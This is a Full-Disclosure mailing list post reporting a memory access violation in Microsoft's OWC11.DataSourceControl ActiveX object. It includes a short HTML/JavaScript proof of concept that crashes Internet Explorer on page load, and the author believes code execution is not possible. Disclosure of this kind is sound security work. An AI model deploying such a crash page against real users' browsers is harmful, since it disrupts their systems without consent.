[Full-disclosure] Office Web Controls DataSourceControl Memory Access Violation

There is an un-handled memory access violation in the OWC11.DataSourceControl. As far as I know, I don't think it is possible to execute code via this, the worst it can do is crash Internet Explorer. PoC as follows:

------------------
<!--

<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
      var obj = new ActiveXObject("OWC11.DataSourceControl");
     
      obj.XMLDataTarget = "A";

 }
  </script>

 </head>
 <body onload="JavaScript: return Check();" />
</html>
